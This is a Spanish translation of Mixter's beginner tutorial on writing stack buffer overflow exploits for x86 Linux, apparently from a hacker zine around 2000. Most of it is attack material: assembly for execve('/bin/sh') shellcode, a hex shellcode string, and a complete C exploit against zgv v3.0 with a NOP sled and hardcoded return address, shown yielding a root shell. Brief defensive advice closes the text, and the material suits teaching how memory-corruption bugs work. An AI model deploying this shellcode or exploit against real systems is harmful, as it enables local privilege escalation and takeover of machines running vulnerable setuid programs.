Copy Link
Add to Bookmark
Report
3x08: Escribiendo exploits basados en buffer overflow
-[ 3x08.txt ]----------------------------------------------------------------
-[ Escribiendo exploits basados en buffer overflow ]------------[ honoriak ]-
--------------------------------------------------------[ honoriak@mail.ru ]-
/* translated by honoriak <honoriak@mail.ru> thz to mixter for letting me
translate and publish this text */
Escribiendo exploits basados en buffer overflow,
un tutorial para principiantes
===============================================
Security papers - members.tripod.com/mixtersecurity/papers.html
Los buffer overflows en los buffers dependientes de entradas del usuario
han llegado a ser uno de los mayores problemas de seguridad en internet y
en la informatica moderna en general. Esto es porque tal error puede ser
hecho facilmente programando, y mientras es invisible para los usuarios
que no entienden o no pueden adquirir el codigo fuente, algunos de estos
errores son muy faciles de 'explotar'. Este manual es para informar al
novato - el programador medio de C que puede comprobar la condicion de
buffer overflow que puede ser 'explotable'.
Mixter
_____________________________________________________________________________
1. La memoria
Nota: Segun la forma en que la describo aqui, la memoria para un proceso es
organizada en la mayoria de los ordenadores, aunque depende del tipo de
arquitectura del procesador. Este ejemplo es para x86 y tambien quizas se
puede aplicar a sparc.
El principio de la 'explotacion' de un buffer overflow es sobreescribir
parte de la memoria la cual no se supone que es sobreescrita por entradas
arbitrarias y hacer que el proceso ejecute este codigo. Para ver como y
donde aparece un overflow, permiteme hechar un vistazo a como se organiza
la memoria. Una pagina es parte de la memoria que esta en su propia direccion
relativa, que el kernel aloja en la memoria inicial para un proceso, a la
cual puede acceder despues sin tener que conocer donde esta alojada
fisicamente en la memoria en la RAM. Estos procesos de memoria consisten
en 3 secciones:
- segmento de codigo, los datos en este segmento son instrucciones asm que
el procesador ejecuta. La ejecucion del codigo no es lineal, puede saltar
codigo y llamar funciones en ciertas condiciones. Por lo tanto, tenemos un
puntero llamado EIP, o puntero de instruccion. La direccion donde EIP apunta
siempre contiene el codigo que sera ejecutado a continuacion.
- segmento de datos, espacio para las variables y los buffers dinamicos.
- segmento de pila, el cual es usado para pasar datos (argumentos) a
funciones y tambien espacio para variables de funciones. El principio de la
pila reside normalmente en el final de la memoria virtual de la pagina, y
decrece. El comando en asm PUSHL movera a la parte alta de la pila, y POPL
borrara algo de la parte alta de la pila y lo pondra en el registro. Para
acceder a la memoria de la pila directamente, hay un puntero de la pila ESP
que apunta a la parte mas alta (direccion de memoria mas baja) de la pila.
_____________________________________________________________________________
2. Funciones
Una funcione es una parte de codigo de un segmento de codigo, que es
llamada, para realizar una tarea, y devuelve el control a la funcion (main)
que lo ejecuto. Opcionalmente, los argumentos puedes ser pasados a la
funcion. En asm, esto normalmente aparece como esto (ejemplo muy simple,
solo para hacerse una idea):
memory address code
0x8054321 <main+x> pushl $0x0
0x8054322 call $0x80543a0 <function>
0x8054327 ret
0x8054328 leave
...
0x80543a0 <function> popl %eax
0x80543a1 addl $0x1337,%eax
0x80543a4 ret
Que pasa aqui? La funcion main llama function(0);
La variable es 0, el main lo pone en la pila, y llama a la funcion. La funcion
obtiene la variable de la pila usando popl. Al terminar esto, devuelve
0x8054327. Normalmente, la funcion main siempre pondria el registro EBP en la
pila, la cual almacena la funcion, y lo restauraria despues de terminar. Este
es el concepto de puntero de marco, que permite a la funcion usar sus propios
offsets como direccion, lo cual es lo menos interesante mientras investigamos
con exploits, porque la funcion no devolvera el 'thread' de ejecucion original
en ningun caso. :-).
Simplemente tenemos que conocer como es la pila. En la parte de arriba,
tenemos los buffers internos y variables de la funcion. Despues de esto, est·
el registros EBP salvado (32 bits, el cual es de 4 bytes), y despues la
direccion de retorno, que es de nuevo de 4 bytes. Mas abajo, estan los
argumentos pasados a la funcion, los cuales no nos interesan.
En este caso, nuestra direccion de retorno es 0x8054327. Esto es
automaticamente almacenado en la pila cuando se llama a la funcion. La
direccion de retorno puede ser sobreescrita, y cambiada punto a punto en
memoria, si hay un overflow en algun lugar en el codigo.
_______________________________________________________________________________
3. Ejemplo de un programa 'explotable'
Asumamos que 'explotamos' una funcion como esta:
void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }
La compilamos y desensamblamos:
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame':
/root/blah.c:1: the `gets' function is dangerous and should not be used.
# gdb blah
/* una corta explicacion: gdb, the GNU debugger es usado aqui para leer el
fichero binario y desensamblarlo (traducir bytes a codigo asm) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 <main>: pushl %ebp
0x80484c9 <main+1>: movl %esp,%ebp
0x80484cb <main+3>: call 0x80484a0 <lame>
0x80484d0 <main+8>: leave
0x80484d1 <main+9>: ret
:
(gdb) disas lame
Dump of assembler code for function lame:
/* salvando el puntero del marco a la pila antes de la direccion ret */
0x80484a0 <lame>: pushl %ebp
0x80484a1 <lame+1>: movl %esp,%ebp
/* metiendo en la pila 0x20 o 32. nuestro buffer es de 30 caracteres, pero la
memoria esta alojada en una anchura de 4 bytes (porque el procesador utiliza
'words' de 32 bits) Esto es equivalente a: char small[30] */
0x80484a3 <lame+3>: subl $0x20,%esp
/* cargando un puntero a small[30] (el espacio en la pila, el cual tendra como
direccion virtual 0xffffffe0(%ebp)) en la pila, y llamando a la funcion gets:
gets(small); */
0x80484a6 <lame+6>: leal 0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>: pushl %eax
0x80484aa <lame+10>: call 0x80483ec <gets>
0x80484af <lame+15>: addl $0x4,%esp
/* cargando la direccion de small y la direccion de la cadena "%s\n" en la
pila y llamando a la funcion print: (printf("%s\n", small); */
0x80484b2 <lame+18>: leal 0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>: pushl %eax
0x80484b6 <lame+22>: pushl $0x804852c
0x80484bb <lame+27>: call 0x80483dc <printf>
0x80484c0 <lame+32>: addl $0x8,%esp
/* se obtiene la direccion de retorno, 0x80484d0, desde la pila y vuelve a esa
direccion que no viste explicitamente aqui porque es puesto por la CPU como
'ret' */
0x80484c3 <lame+35>: leave
0x80484c4 <lame+36>: ret
End of assembler dump.
3a. 'Overflowing' el programa
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- entrada de usuario
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- entrada de usuario
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
eax: 0x24 36
ecx: 0x804852f 134513967
edx: 0x1 1
ebx: 0x11a3c8 1156040
esp: 0xbffffdb8 -1073742408
ebp: 0x787878 7895160
^^^^^^
EBP es 0x787878, esto significa que hemos escrito mas datos en la pila de los
que el buffer del input podia tener. 0x78 es la representacion hexadecimal de
'x'. El proceso tenia una longitud maxima de 32 bytes. Hemos escrito mas datos
en memoria que lo permitido para la entrada del usuario y se ha sobreescrito
EBP y la direccion de retorno con 'xxxx', lo que causo que se produjese un
segmentation fault.
3b. Cambiando la direccion de retorno
Intentemos 'explotar' el programa para devolver lame() en vez de return.
Tenemos que cambiar la direccion de retorno 0x80484d0 a 0x80484cb, eso es todo.
En memoria, tenemos: espacio de 32 bytes del buffer | 4 bytes salvados de EBP
| 4 bytes de RET.
Aqui esta un simple programa que pone la direccion de retorno de 4 bytes en un
buffer de caracter de 1 byte:
main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ÀÀÀÀÀÀÀÀÀÀÀ,
# (ret;cat)|./blah
test <- user input
ÀÀÀÀÀÀÀÀÀÀÀ,test
test <- user input
test
Aqui tenemos, el programa fue a la funcion 2 veces. Si un overflow esta
presente, la direccion de retorno de las funciones puede ser cambiada para
alterar el 'thread' de ejecucion de los programas.
_______________________________________________________________________________
4. Shellcode
Es muy simple, el shellcode es simplemente comandos en asm, los cuales
escribimos en la pila y despues cambiamos a la direccion de retorno para
volver a la pila. Usando este metodo, podemos insertar codigo en procesos
vulnerables y despues ejecutarlo en la pila.
Asi, generaremos codigo de asm insertable para ejecutar una shell. Una llamada
al sistema muy comun es execve(), la cual carga y ejecuta algun binario,
al terminar la ejecucion del proceso. Las paginas man nos daran como usarlo:
int execve (const char *filename, char *const argv [], char *const envp[]);
Veamos los detalles de la llamada al sistema de glibc2:
# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 <execve>: pushl %ebx
/* Esto es la llamada al sistema actual. antes de que un programa llame a
execve, se pondrian los argumentos en orden inverso en la pila: **envp, **argv, *filename */
/* Poner la direccion de **envp en el registro edx */
0x5da01 <execve+1>: movl 0x10(%esp,1),%edx
/* Poner la direccion de **argv en el registro ecx */
0x5da05 <execve+5>: movl 0xc(%esp,1),%ecx
/* Poner la direccion del *filename en el registro ebx */
0x5da09 <execve+9>: movl 0x8(%esp,1),%ebx
/* Poner 0xb en el registro eax; 0xb == execveen la tabla de llamadas internas
del sistema */
0x5da0d <execve+13>: movl $0xb,%eax
/* Dar el control al kernel, para ejecutar la instruccion execve */
0x5da12 <execve+18>: int $0x80
0x5da14 <execve+20>: popl %ebx
0x5da15 <execve+21>: cmpl $0xfffff001,%eax
0x5da1a <execve+26>: jae 0x5da1d <__syscall_error>
0x5da1c <execve+28>: ret
End of assembler dump.
4a. haciendo portable el codigo.
Tenemos que aplicar un truco para poder hacer el shellcode sin tener la
referencia de los argumentos en memoria por medio del camino convencional,
danto su direccion exacta en la pagina de memoria, la cual solo puede ser
dada en el momento de compilacion.
Una vez que podemos estimar el tamaÒo del shellcode, podemos usar las
instrucciones jmp <bytes> y call <bytes> para ir a un numero especifico de
bytes atras o delante en el 'thread' de ejecucion. Por que usar una llamada?
Tenemos la oportunidad de que una CALL almacene automaticamente la direccion
de retorno en la pila, la direccion de retorno esta en los siguientes 4 bytes
despues de la instruccion CALL. Situando la variable correcta detras de la
llamada, indirectamente pondremos su direccion en la pila sin tener que
conocerla.
0 jmp <Z> (salta Z bytes hacia delante)
2 popl %esi
... pone la funccion(es) aqui ...
Z call <-Z+2> (salta 2 menos que Z bytes hacia atras, a POPL)
Z+5 .string (primera variable)
(Nota: Si vas a escribir un codigo mas complejo que para pillar una simple
shell, puede poner mas de un .string detras de el codigo.Sabes el tamaÒo de
esas cadenas y puedes incluso calcular su localizacion relativa una vez
conocida la localizacion de la primera cadena.)
4b el shellcode
global code_start /* necesitaremos esto despues, no te preocupes
*/
global code_end .data
code_start:
jmp 0x17
popl %esi
movl %esi,0x8(%esi) /* pone la direccion de **argv detras del
shellcode, 0x8 bytes detras de un /bin/sh han
sido situados */
xorl %eax,%eax /* pone 0 en %eax */
movb %eax,0x7(%esi) /* pone un 0 terminal despues de la
cadena/bin/sh */
movl %eax,0xc(%esi) /* otro 0 para conseguir el tamaÒo de una long
word */
my_execve:
movb $0xb,%al /* execve( */
movl %esi,%ebx /* "/bin/sh", */
leal 0x8(%esi),%ecx /* & de "/bin/sh", */
xorl %edx,%edx /* NULL */
int $0x80 /* ); */
call -0x1c
.string "/bin/shX" /* X es sobreescrito por movb %eax,0x7(%esi)
*/ code_end:
(El offset relativo 0x17 y -0x1c pueden ser substituidos poniendo 0x0,
compilando, desensamblando y despues mirando el tamaÒo del codigo de la
shell.)
Esto ya es una shell que funciona, aunque muy minima. Deberias al menos
desensamblar la llamada del sistema exit() y ponerla. (antes de 'call').
El verdadero arte de hacer shellcodes solo consiste en evitar algun 0 binario
en el codigo (indica el final del input/buffer muy a menudo) y modificarlo por
ejemplo, como el codigo binario que no contiene caracteres de control o mas
bajos, los cuales conseguirian ser filtrados por algunos programas
vulnerables.
La mayoria del material esta hecho modificando el codigo para un mejor
funcionamiento, como teniamos en la instruccion movb %eax,0x7(%esi).
Reemplazamos la X con \0, pero sin tener \0 inicialmente en el shellcode...
Testeemos este codigo... salvando el codigo de abajo como code.S (borrando los
comentarios) y usando este fichero code.c:
extern void code_start();
extern void code_end();
#include <stdio.h>
main() { ((void (*)(void)) code_start)(); }
# cc -o code code.S code.c
# ./code
bash#
Ahora puedes convertir el shellcode a char buffer en hexadecimal.
El mejor camino para hacer esto es inprimirlo:
#include <stdio.h>
extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }
y parcheando a traves de aconv -h or bin2c.pl, estas herramientas la puedes
encontrar en:
http://www.dec.net/ñdhg or http://members.tripod.com/mixtersecurity
_______________________________________________________________________________
5. Escribiendo un exploit.
Hechos un vistazo a como cambiar la direccion de retorno para apuntar al
shellcode y ponerlo en la pila, y escribir un exploit de ejemplo.
Usaremos zgv, porque es una de las cosas m·s f·ciles de 'explotar' :)
# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524
Bien, esto es la parte de arriba de la pila en el momento de petar. Es casi
seguro que podemos usar esto como direccion de retorno en nuestro shellcode.
Ahora aÒadiremos algunas instrucciones NOP (no hacer nada) antes de nuestro
buffer, para no tener que ser 100% correctos en la prediccion exacta para
iniciar nuestro shellcode en memoria (o incluso por fuerza bruta). La funcion
volvera a la pila en algun sitio antes de nuestro code, funcionara a traves de
los NOPs hasta el comando inicial JMP, saltando a CALL, saltando hacia atras a
popl, y ejecutando nuestro codigo en la pila.
Recuerda, la pila es de esta forma: las direcciones de memoria mas bajas, la
parte de arriba de la pila donde ESP apunta, las variables iniciales
almacenadas, al llamado buffer en zgv que almacena la entorno de variable
HOME.
Despues de eso, tenemos la EBP guardada (4 bytes) y la direccion de retorno de
la funcion anterior. Debemos escribir 8 bytes o mas detras del buffer para
sobreescribir la direccion de retorno con nuestra nueva direccion de la pila.
El buffer en zgv es 1024 bytes de grande. Puedes encontrar echando una ojeada
al codigo, o buscando el inicial subl $0x400,%esp (=1024) en la funcion
vulnerable. Ahora pondremos todas estas partes juntas en el exploit:
5a exploit de ejemplo del zgv
/* zgv v3.0 exploit by Mixter
buffer overflow tutorial - http://1337.tsx.org
exploit de ejemplo, funciona por ejemplo con
redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x con binarios
precompilados de linux */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
/* Este es el shellcode minimo sacado del tutorial */
static char shellcode[]=
"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";
#define NOP 0x90
#define LEN 1032
#define RET 0xbffff574
int main()
{
char buffer[LEN];
long retaddr = RET;
int i;
fprintf(stderr,"using address 0x%lx\n",retaddr);
/* esto llena el buffer por completo con direcciones de retorno, ver 3b) */
for (i=0;i<LEN;i+=4)
*(long *)&buffer[i] = retaddr;
/* esto llena el buffer inicial con NOPs, 100 caracteres menos que el tamaÒo
del buffer, asi la shellcode y la direccion de retorno se situaran de forma
correcta */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
*(buffer+i) = NOP;
/* despues del final de los NOPs, copiaremos el shellcode execve() */
memcpy(buffer+i,shellcode,strlen(shellcode));
/* exportamos la variable ejecutando zgv */
setenv("HOME", buffer, 1);
execlp("zgv","zgv",NULL);
return 0;
}
/* EOF */
Ahora tenemos una cadena como esto:
[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]
Mientras la pila del zgv es como esto:
v-- 0xbffff574 is here
[ S M A L L B U F F E R ] [SAVED EBP] [ORIGINAL RET]
La 'thread' de ejecucion del zgv es ahora como sigue:
main ... -> function() -> strcpy(smallbuffer, getenv("HOME"));
En este momento, zgv falla en la comprobacion, escribe mas all· del
smallbuffer, y la direccion de retorno a main es sobreescrita con la direccion
de retorno en la pila. function() deja/ret y el EIP apunta a la pila:
0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24 1
0xbffff579 popl %esi 3 <--\ |
[... el shellcode empieza aqui ...] | |
0xbffff59b call -$0x1c 2 <--/
0xbffff59e .string "/bin/shX"
Testeemos el exploit...
#cc -o zgx zgx.c
# ./zgx
using address 0xbffff574
bash#
5b. mas trucos sobre escritura de exploits
Hay muchos programas vulnerables faciles de 'explotar'. Aunque, hay muchos
trucos que puedes obtener sobre el filtrado. Tambien hay muchos otras
tecnicas de overflow en las cuales no es necesario incluir el cambio de la
direccion de retorno o solo la direccion de retorno. Hay tambien los llamados
overflows de puntero, donde un puntero que aloja una funcion puede ser
sobreescrito por un overflow, alterando el flujo de ejecucion de los
programas (un ejemplo es el exploit del bind 4.9 de RoTShB), y exploits en
donde la direccion de retorno apunta al puntero de las variables de la shell,
donde el shellcode esta alojado en cambio en la pila (esto se reduce a buffer
muy pequeÒos, y patches de la pila no-ejecutables, y puede engaÒar a
algunos programas de seguridad, aunque puede ser usado solo de forma local).
Otra materia importante para el autor de shellcodes es la modificacion radical
de codigo para mejor funcionamiento, los cuales inicialesmente solo consisten
en la imprimible, sin espacios en blanco en el caso de caracteres, y despues
pueden ser modificados para mejorarlo, etc.
Nunca debes, tener ningun cero binario en tu shellcode, porque en la mayoria
de los casos posiblemente no funcionara si los tienes. Pero el discutir como
utilizar ciertos comandos de ensamblador esta fuera de los propÛsitos de este
manual. Os sugiero que leais otros howto's sobre overflows que hay por ahÌ,
escritos por aleph1, Taeoh Oh y mudge.
5c nota importante
No podras usar este tutorial en Windows o Mac. No me preguntes por cc.exe o
gdb.exe ! =oP
_______________________________________________________________________________
6. Conclusiones
Hemos aprendido, que una vez el overflows esta presente en lo que se refiere a
la dependencia por parte del usuario, puede ser 'explotado' en el 90% de los
casos, incluso aunque la situacion sea dificil se puede.
Porque es importante escribir exploits? Porque la ignorancia es algo muy
com˙n en la industrica del software. Ya hay algunos avisos de
vulnerabilidades de buffer overflows en software, aunque el software no
se updatea, o la mayorÌa de los usuarios no los updatean, porque la
vulnerabilidad es dificil de 'explotar' y nadie cree en el riesgo de
seguridad. Despues, cuando se hace el exploit, se prueba y practicamente
permite explotarlo, hay una prisa enorme por updatearlo.
Para los programadores (tu), es una tarea dura el escribir programas
seguros, pero debe ser tomada en serio. Esto es en lo que concierne a escribir
servidores, algun tipo de programa de seguridad, o programas que son suid
root, o diseÒados para ser ejecutados como root, alguna cuenta especial, o por
el sistema. Aplicar sistemas de chequeo (strn*, sn*, funciones diferentes de
sprintf, etc.), preferentemente buffer alojados que un dinamico, dependientes
de input, tamaÒo, ser cuidadoso con for/while/etc. que ponen datos y material
al buffer, y generalmente cuidar los input con mucho cuidado es lo que te
sugiero.
Hay tambien notables esfuerzos en la industria de seguridad por prevenir
problemas con overflows con tecnicas como la pila no-ejecutable, suid
wrappers, programas que chequean las direcciones de retorno, compiladores que
chequedan, y m·s. Debes usar estas tecnicas donde te sea posible, pero no
confiar solamente en ellas. No asumas que todo esta seguro si tu tienes una
distribuciÛn de UNIX de hace 2 aÒos sin updates, pero la proteccion de
overflows (incluso la mas estupida) o firewalling/IDS. Esto no puede asegurar
tu seguridad, si continuas usando programas inseguros porque _todos_ los
programas seguros son _software_ y contienen vulnerabilidades por ellos mismos
o como minimo no son perfectos. Si aplicas updates _y_ revisiones de seguridad
frecuentes, puedes todavia no estar seguro, _pero_ lo esperar·s. :-)
Mixter <mixter@newyorkoffice.com>
http://members.tripod.com/mixtersecurity
_______________________________________________________________________________
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv
iQEVAwUBOEG2DLdkBvUb0vPhAQGBuQf+Ihg0w+AygH5ZmJyltK2Ap2nIkMJPFhzT
/YTte9AQfawlNG+W8hIlnEOTxPNcxToER70WPzeVijOgygAIjQf0lW/VCyPzNEZv
fjyI06QZQwY3RpXsOVoRfRGdukyl6dtzhpQrbMGoLtqoSzn/GGyD2+EnmQZ6oG3U
9sXFYydlm5FPJK08a72+QHMml51Ma5KX+oGG2XojXwWpwM5O6U2JX0ZGgdTCaRal
b4VO32w/amddmPosERbdm+cWFigAiD6O5OhZmb1FZRnAQf1kHXOHMvfTQTVRYJna
aeJJYrF/Kki8xvUeE4PFJNkS317scqlv7L5rQygAzrZJFx84kxaSIA==
=xp73
-----END PGP SIGNATURE-----
/* finished translating Tue Dec 5 17:46:36 CET 2000 */
--EOF--